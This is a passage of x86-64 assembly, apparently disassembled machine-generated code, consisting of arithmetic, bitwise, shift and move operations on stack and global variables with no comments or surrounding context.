movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9610]
mov byte [rcx], al
mov rax, qword [rsp + 0xcef0]
movsx eax, word [rax]
mov rcx, qword [0x1402c9398]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x156c], ax
mov rax, qword [rsp + 0xd158]
movzx eax, byte [rax]
mov byte [rsp + 0x1ff], al
movzx eax, word [rsp + 0x1b3c]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x19c4], ax
mov eax, dword [0x1402c7498]
mov dword [rsp + 0x6f98], eax
mov eax, dword [rsp + 0x6e10]
movzx ecx, al
mov eax, dword [rsp + 0x6cc4]
shl eax, cl
mov rcx, qword [rsp + 0xbe68]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd770]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xdb18]
shr rax, cl
mov qword [rsp + 0xe7f8], rax
mov rax, qword [rsp + 0xc718]
mov rax, qword [rax]
mov qword [rsp + 0xee28], rax
movzx eax, byte [rsp + 0x168]
mov rcx, qword [rsp + 0xe8d0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x184], al
movsx eax, word [rsp + 0x1800]
mov rcx, qword [rsp + 0xe9a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c75f8], ax
movzx eax, byte [0x1402c749f]
mov byte [rsp + 0x200], al
mov rax, qword [rsp + 0xd898]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xda]
sub eax, ecx
mov rcx, qword [rsp + 0xc610]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1ec]
mov byte [rsp + 0x201], al
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6e50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x69c8], eax
mov rax, qword [rsp + 0xcb38]
mov ecx, dword [rsp + 0x6e58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc748]
mov dword [rcx], eax
lea rax, [rsp + 0xc468]
mov qword [rsp + 0xee30], rax
mov rax, qword [rsp + 0xccd8]
mov rcx, qword [rsp + 0xd948]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xded8], rax
lea rax, [rsp + 0x94]
mov qword [rsp + 0xee38], rax
lea rax, [rsp + 0x1828]
mov qword [0x1402c9728], rax
movsx eax, word [rsp + 0x197c]
mov rcx, qword [rsp + 0xda68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xd9e8]
mov word [rcx], ax
movzx eax, word [rsp + 0x18c0]
mov rcx, qword [rsp + 0xdf88]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xd4f8]
mov word [rcx], ax
movzx eax, word [rsp + 0x1720]
mov word [rsp + 0x1bb4], ax
mov rax, qword [rsp + 0xda50]
mov rcx, qword [rsp + 0xe558]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xdc38], rax
mov rax, qword [rsp + 0xbf38]
mov qword [rsp + 0xee40], rax
mov rax, qword [rsp + 0xc6b0]
mov rcx, qword [rsp + 0xe050]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x68fc], eax
mov rax, qword [rsp + 0xdc10]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xe9b8]
mov dword [rcx], eax
lea rax, [rsp + 0x62]
mov qword [rsp + 0xee48], rax
mov rax, qword [rsp + 0xe0d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcdc0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [0x1402c7558], ax
mov rax, qword [rsp + 0xe928]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc4f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x197], al
mov rax, qword [rsp + 0xdaf8]
movzx eax, byte [rax]
mov byte [rsp + 0x202], al
movsx eax, word [rsp + 0x1a8c]
movsx ecx, word [rsp + 0x1824]
shl eax, cl
mov rcx, qword [rsp + 0xc230]
mov word [rcx], ax
movzx eax, word [0x1402c7500]
mov word [rsp + 0x1bb8], ax
mov eax, dword [rsp + 0x6b90]
mov ecx, dword [rsp + 0x6aa8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bbc], eax
mov rax, qword [rsp + 0xd3d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc980]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xeb20]
mov qword [rcx], rax
lea rax, [0x1402c7498]
mov qword [rsp + 0xee50], rax
mov rax, qword [rsp + 0xec60]
mov rcx, qword [rsp + 0xcbb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc428], rax
mov rax, qword [rsp + 0xc050]
movzx eax, byte [rax]
mov byte [0x1402c9144], al
mov rax, qword [rsp + 0xc4c8]
movzx eax, word [rax]
mov word [rsp + 0x1bbc], ax
mov rax, qword [rsp + 0xd200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18e]
add eax, ecx
mov byte [rsp + 0x161], al
movsx eax, byte [rsp + 0x132]
movsx ecx, byte [rsp + 0x7c]
add eax, ecx
mov rcx, qword [rsp + 0xdcc0]
mov byte [rcx], al
lea rax, [rsp + 0x168c]
mov qword [rsp + 0xee58], rax
mov rax, qword [rsp + 0xdeb0]
mov rcx, qword [rsp + 0xe000]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc950]
mov qword [rcx], rax
mov rax, qword [rsp + 0xdad8]
mov rax, qword [rax]
mov qword [rsp + 0xee60], rax
mov rax, qword [rsp + 0xe2c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c1c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdca0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcf28]
mov ecx, dword [rsp + 0x6f1c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a7c], eax
mov rax, qword [rsp + 0xcf88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xe9c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c9518]
mov byte [rcx], al
mov rax, qword [0x1402c9500]
movzx eax, byte [rax]
mov byte [rsp + 0x203], al
mov rax, qword [rsp + 0xc658]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xed10]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0xd398]
movzx eax, byte [rax]
mov byte [rsp + 0x204], al
movsx eax, word [rsp + 0x16e4]
movsx ecx, word [rsp + 0x1aa8]
add eax, ecx
mov word [rsp + 0x1874], ax
mov eax, dword [rsp + 0x6b38]
mov ecx, dword [rsp + 0x6dbc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f78], eax
lea rax, [rsp + 0xedf8]
mov qword [rsp + 0xee68], rax
mov eax, dword [rsp + 0x6d54]
mov ecx, dword [rsp + 0x6a14]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a74], eax
lea rax, [rsp + 0xda28]
mov qword [rsp + 0xee70], rax
movsx eax, word [rsp + 0x1638]
mov rcx, qword [rsp + 0xd418]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1402c75fc], ax
movsx eax, byte [rsp + 0x6c]
movsx ecx, byte [rsp + 0x149]
sar eax, cl
mov rcx, qword [rsp + 0xcbf8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xbb]
mov byte [rsp + 0x205], al
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x18c4]
imul eax, ecx
mov rcx, qword [rsp + 0xdf70]
mov word [rcx], ax
mov rax, qword [0x1402c93a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x162c]
and eax, ecx
mov rcx, qword [rsp + 0xc940]
mov word [rcx], ax
lea rax, [rsp + 0x69c4]
mov qword [rsp + 0xee78], rax
mov eax, dword [rsp + 0x6c2c]
mov ecx, dword [rsp + 0x6bcc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xe340]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc348]
mov rax, qword [rax]
mov qword [rsp + 0xee80], rax
mov rax, qword [rsp + 0xc438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xed00]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xe728], rax
mov rax, qword [rsp + 0xe440]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1a90]
add eax, ecx
mov word [0x1402c7554], ax
mov rax, qword [rsp + 0xca90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xebe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xea68]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb78]
movzx eax, byte [rax]
mov byte [rsp + 0x206], al
movzx eax, word [rsp + 0x1764]
movzx ecx, word [rsp + 0x15b0]
sub eax, ecx
mov word [rsp + 0x169c], ax
mov rax, qword [rsp + 0xee58]
movzx eax, word [rax]
mov word [rsp + 0x1bc0], ax
mov rax, qword [rsp + 0xba08]
mov rcx, qword [rsp + 0xc678]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xe888]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc808]
mov rcx, qword [rsp + 0xdf78]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc0c8], rax
mov eax, dword [rsp + 0x6d48]
mov dword [rsp + 0x6f9c], eax
mov rax, qword [rsp + 0xcad0]
mov rcx, qword [rsp + 0xe120]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xe0a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x51]
mov rcx, qword [rsp + 0xd180]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c753b], al
movzx eax, byte [rsp + 0x142]
mov byte [rsp + 0x207], al
movzx eax, word [rsp + 0x1a08]
mov rcx, qword [rsp + 0xe5f8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ac0], ax
lea rax, [rsp + 0x167]
mov qword [rsp + 0xee88], rax
mov rax, qword [rsp + 0xe9f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xfd]
sar eax, cl
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0xcef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d7c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d18], eax
lea rax, [rsp + 0xdb58]
mov qword [rsp + 0xee90], rax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6998]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bf4], eax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov qword [rsp + 0xee98], rax
movsx eax, word [rsp + 0x17f8]
movsx ecx, word [0x1402c758c]
and eax, ecx
mov word [0x1402c75dc], ax
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd590]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1b04], ax
mov rax, qword [rsp + 0xca18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov rcx, qword [rsp + 0xd1c8]
mov byte [rcx], al
lea rax, [0x1402c75c8]
mov qword [rsp + 0xeea0], rax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x16f0]
sub eax, ecx
mov word [rsp + 0x1664], ax
mov rax, qword [rsp + 0xda28]
mov qword [rsp + 0xeea8], rax
mov rax, qword [rsp + 0xcc38]
mov rcx, qword [rsp + 0xe5e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6e1c], eax
mov rax, qword [rsp + 0xc4b8]
mov ecx, dword [rsp + 0x6eb4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xed18]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe3b8]
mov rax, qword [rax]
mov qword [rsp + 0xeeb0], rax
lea rax, [rsp + 0x1760]
mov qword [0x1402c9730], rax
mov rax, qword [0x1402c90e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a9]
add eax, ecx
mov byte [rsp + 0x115], al
movzx eax, byte [rsp + 0xea]
mov byte [rsp + 0x208], al
mov rax, qword [rsp + 0xeba0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1924], ax
mov rax, qword [rsp + 0xcea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xe628]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1f3], al
lea rax, [rsp + 0xd310]
mov qword [rsp + 0xeeb8], rax
mov rax, qword [rsp + 0xd108]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc1f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6b14]
mov dword [rsp + 0x6fa0], eax
mov rax, qword [rsp + 0xe6d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe5c8]
mov qword [rsp + 0xeec0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xeec0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x6af0], eax
movzx eax, byte [rsp + 0x177]
mov byte [rsp + 0x209], al
movsx eax, word [rsp + 0x154c]
mov rcx, qword [rsp + 0xc440]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402c9258]
mov word [rcx], ax
movzx eax, word [rsp + 0x1a28]
mov rcx, qword [rsp + 0xe260]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1838], ax
movsx eax, byte [rsp + 0x1d0]
mov rcx, qword [rsp + 0xe660]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x133], al
mov rax, qword [rsp + 0xdff0]
movzx eax, byte [rax]
mov byte [rsp + 0x20a], al
mov rax, qword [rsp + 0xc3d0]
mov rcx, qword [rsp + 0xd5b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a00], eax
mov rax, qword [rsp + 0xdc10]
mov eax, dword [rax]
mov dword [rsp + 0x6fa4], eax
mov rax, qword [rsp + 0xec00]
mov rcx, qword [rsp + 0xbaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbce0], rax
mov rax, qword [rsp + 0xe0f8]
mov rcx, qword [rsp + 0xe160]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xdcb8], rax
movzx eax, word [0x1402c92b0]
mov word [rsp + 0x1bc4], ax
lea rax, [rsp + 0x170c]
mov qword [0x1402c9738], rax
mov rax, qword [rsp + 0xd6f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xd110]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0xe890]
mov word [rcx], ax
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0xeec8], rax
movzx eax, byte [0x1402c74b3]
movzx ecx, byte [rsp + 0xa3]
sub eax, ecx
mov byte [rsp + 0xb1], al
mov rax, qword [rsp + 0xc890]
mov rcx, qword [rsp + 0xe5d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6dc0], eax
mov eax, dword [rsp + 0x6d7c]
mov dword [rsp + 0x6fa8], eax
mov rax, qword [rsp + 0xe058]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc538]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xca28], rax
lea rax, [rsp + 0xd7a0]
mov qword [rsp + 0xeed0], rax
movsx eax, byte [rsp + 0x191]
mov rcx, qword [rsp + 0xe258]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xcc]
add eax, ecx
mov rcx, qword [0x1402c9508]
mov byte [rcx], al
movsx eax, word [rsp + 0x1bb4]
mov rcx, qword [rsp + 0xce48]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
lea rax, [0x1402c74bf]
mov qword [rsp + 0xeed8], rax
mov rax, qword [rsp + 0xc8f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xee88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1e0], al
lea rax, [rsp + 0x6b98]
mov qword [rsp + 0xeee0], rax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xecf0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xec88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d14]
mov dword [rsp + 0x6fac], eax
mov rax, qword [rsp + 0xda50]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xe5a0]
sar rax, cl
mov qword [rsp + 0xbd40], rax
mov rax, qword [rsp + 0xca60]
movzx eax, word [rax]
movzx ecx, word [0x1402c7580]
shl eax, cl
mov word [rsp + 0x153c], ax
lea rax, [rsp + 0x1b70]
mov qword [0x1402c9740], rax
mov rax, qword [rsp + 0xbd28]
movzx eax, byte [rax]
mov byte [rsp + 0x20b], al
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [0x1402c9454]
xor eax, ecx
mov rcx, qword [rsp + 0xe1b8]
mov word [rcx], ax
lea rax, [rsp + 0x145]
mov qword [rsp + 0xeee8], rax
movsx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0xd898]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x72], al
mov rax, qword [rsp + 0xc808]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcb70]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc008]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6d24]
mov dword [rsp + 0x6fb0], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xdd58]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xbf80]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6988]
mov dword [rsp + 0x6fb4], eax
mov rax, qword [rsp + 0xea10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xdf08]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1402c93d0]
mov byte [rcx], al
movsx eax, word [rsp + 0x18f4]
mov rcx, qword [rsp + 0xde30]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x185c], ax
mov rax, qword [rsp + 0xc8e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbcd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x160c], ax
mov rax, qword [rsp + 0xdf98]
movzx eax, byte [rax]
mov byte [rsp + 0x20c], al
mov rax, qword [rsp + 0xebd8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcc50]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbe90]
mov word [rcx], ax
mov rax, qword [rsp + 0xe1d8]
mov qword [rsp + 0xeef0], rax
mov rax, qword [rsp + 0xda40]
mov rcx, qword [rsp + 0xeea8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd950], rax
mov rax, qword [rsp + 0xede8]
mov eax, dword [rax]
mov dword [rsp + 0x6fb8], eax
mov rax, qword [rsp + 0xd818]
mov rcx, qword [rsp + 0xc010]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc290]
mov dword [rcx], eax
lea rax, [rsp + 0x19dc]
mov qword [0x1402c9748], rax
mov rax, qword [rsp + 0xd890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbcf0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [rsp + 0xe610]
movzx eax, word [rax]
mov word [rsp + 0x1bc8], ax
movsx eax, byte [0x1402c7537]
movsx ecx, byte [rsp + 0x151]
xor eax, ecx
mov byte [rsp + 0x148], al
movzx eax, word [rsp + 0x180c]
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xc588]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x6ba0]
mov rcx, qword [rsp + 0xd410]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc010]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c90a0]
shr eax, cl
mov dword [rsp + 0x6f28], eax
mov rax, qword [rsp + 0xe358]
mov rax, qword [rax]
mov qword [rsp + 0xeef8], rax
mov rax, qword [rsp + 0xdb00]
mov rcx, qword [rsp + 0xbea0]
mov qword [rsp + 0xef00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef00]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xce80], rax
mov rax, qword [0x1402c95d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1758]
or eax, ecx
mov word [0x1402c74cc], ax
movzx eax, byte [rsp + 0x127]
mov byte [rsp + 0x20d], al
movzx eax, byte [rsp + 0x1d3]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov rcx, qword [rsp + 0xe2a0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x191]
imul eax, eax, 0x1e
mov byte [rsp + 0x79], al
mov rax, qword [rsp + 0xbd90]
movzx eax, word [rax]
mov word [rsp + 0x1bd0], ax
mov eax, dword [rsp + 0x6a18]
mov ecx, dword [rsp + 0x6d10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xebc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6e04]
mov dword [rsp + 0x6fbc], eax
mov rax, qword [rsp + 0xde70]
mov rcx, qword [rsp + 0xda40]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xdc20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xeb20]
mov rcx, qword [rsp + 0xe1d8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xe548], rax
movsx eax, byte [rsp + 0x97]
movsx ecx, byte [rsp + 0x179]
add eax, ecx
mov byte [0x1402c751b], al
mov rax, qword [rsp + 0xbd98]
movzx eax, word [rax]
mov word [rsp + 0x1bd4], ax
mov rax, qword [rsp + 0xd248]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xece0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1b94], ax
lea rax, [rsp + 0x1e5]
mov qword [rsp + 0xef08], rax
mov rax, qword [rsp + 0xc9e8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xced0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x200], al
mov eax, dword [rsp + 0x6f64]
mov dword [rsp + 0x6fc0], eax
mov rax, qword [rsp + 0xbf18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b84], eax
mov rax, qword [rsp + 0xcfc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd848]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc4c0], rax
mov rax, qword [rsp + 0xee18]
mov qword [rsp + 0xef10], rax
movzx eax, byte [rsp + 0x192]
movzx ecx, byte [rsp + 0x92]
sub eax, ecx
mov byte [0x1402c753e], al
movzx eax, word [rsp + 0x1a34]
mov rcx, qword [rsp + 0xea50]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1938], ax
lea rax, [rsp + 0x17d]
mov qword [rsp + 0xef18], rax
mov rax, qword [rsp + 0xe958]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xed78]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1b7], al
movzx eax, word [rsp + 0x1960]
mov rcx, qword [rsp + 0xe260]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc378]
mov word [rcx], ax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xef20], rax
mov rax, qword [rsp + 0xcd30]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xe850]
mov qword [rsp + 0xef28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xef28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xd5c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xe140]
mov rax, qword [rax]
mov qword [rsp + 0xef30], rax
mov rax, qword [rsp + 0xdbc0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xede0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd448], rax
movsx eax, word [rsp + 0x1b64]
mov rcx, qword [rsp + 0xedd0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c9490], ax
movsx eax, byte [rsp + 0x1d5]
mov rcx, qword [rsp + 0xd1b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcb90]
mov byte [rcx], al
mov rax, qword [rsp + 0xedf0]
movzx eax, word [rax]
mov word [rsp + 0x1bd8], ax
movsx eax, word [rsp + 0x1728]
movsx ecx, word [rsp + 0x15b8]
sub eax, ecx
mov word [rsp + 0x1548], ax
movzx eax, word [rsp + 0x1750]
mov word [rsp + 0x1bdc], ax
mov rax, qword [rsp + 0xd538]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6c24]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6d50], eax
lea rax, [rsp + 0x6bd0]
mov qword [rsp + 0xef38], rax
mov rax, qword [rsp + 0xe920]
mov rcx, qword [rsp + 0xc868]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xee68]
mov qword [rcx], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xdea0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd438], rax
lea rax, [rsp + 0x117]
mov qword [0x1402c9750], rax
movzx eax, word [rsp + 0x1638]
mov word [rsp + 0x1be0], ax
mov rax, qword [0x1402c9210]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x77], al
lea rax, [rsp + 0x152c]
mov qword [rsp + 0xef40], rax
movzx eax, byte [rsp + 0x1f0]
mov rcx, qword [rsp + 0xd6f8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1da], al
mov rax, qword [rsp + 0xdbd8]
mov rcx, qword [rsp + 0xbb38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd4b0], rax
mov eax, dword [rsp + 0x6c14]
mov dword [rsp + 0x6fc4], eax
mov eax, dword [rsp + 0x6ca8]
mov ecx, dword [rsp + 0x6f1c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc138]
mov dword [rcx], eax
lea rax, [rsp + 0xde10]
mov qword [rsp + 0xef48], rax
movzx eax, byte [rsp + 0x1b3]
movzx ecx, byte [rsp + 0xfc]
shl eax, cl
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x1acc]
movzx ecx, word [rsp + 0x1678]
sar eax, cl
mov word [0x1402c74a0], ax
mov rax, qword [0x1402c9308]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x19ac]
or eax, ecx
mov word [rsp + 0x17d4], ax
mov rax, qword [rsp + 0xcea8]
movzx eax, byte [rax]
mov byte [rsp + 0x20e], al
movsx eax, byte [rsp + 0x20c]
mov rcx, qword [rsp + 0xd858]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
lea rax, [rsp + 0xc278]
mov qword [rsp + 0xef50], rax
mov rax, qword [rsp + 0xcbb0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6cf4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc768]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6de4]
mov ecx, dword [rsp + 0x6a08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c0c], eax
lea rax, [rsp + 0xd390]
mov qword [rsp + 0xef58], rax
movsx eax, word [rsp + 0x18dc]
movsx ecx, word [rsp + 0x185c]
add eax, ecx
mov word [rsp + 0x17f8], ax
movzx eax, byte [rsp + 0x1aa]
mov byte [0x1402c9145], al
movzx eax, word [0x1402c967c]
mov word [rsp + 0x1be4], ax
mov rax, qword [rsp + 0xdf30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xda18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xee38]
mov byte [rcx], al
mov rax, qword [rsp + 0xcdc0]
movzx eax, word [rax]
mov word [rsp + 0x1be8], ax
mov rax, qword [rsp + 0xc9d0]
mov ecx, dword [rsp + 0x6da0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xdf10]
mov dword [rcx], eax
mov rax, qword [rsp + 0xeca8]
mov rcx, qword [rsp + 0xd0d8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xca80]
mov qword [rcx], rax
mov rax, qword [rsp + 0xe870]
mov rax, qword [rax]
mov qword [rsp + 0xef60], rax
mov rax, qword [rsp + 0xe2c8]
mov rcx, qword [rsp + 0xe5e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
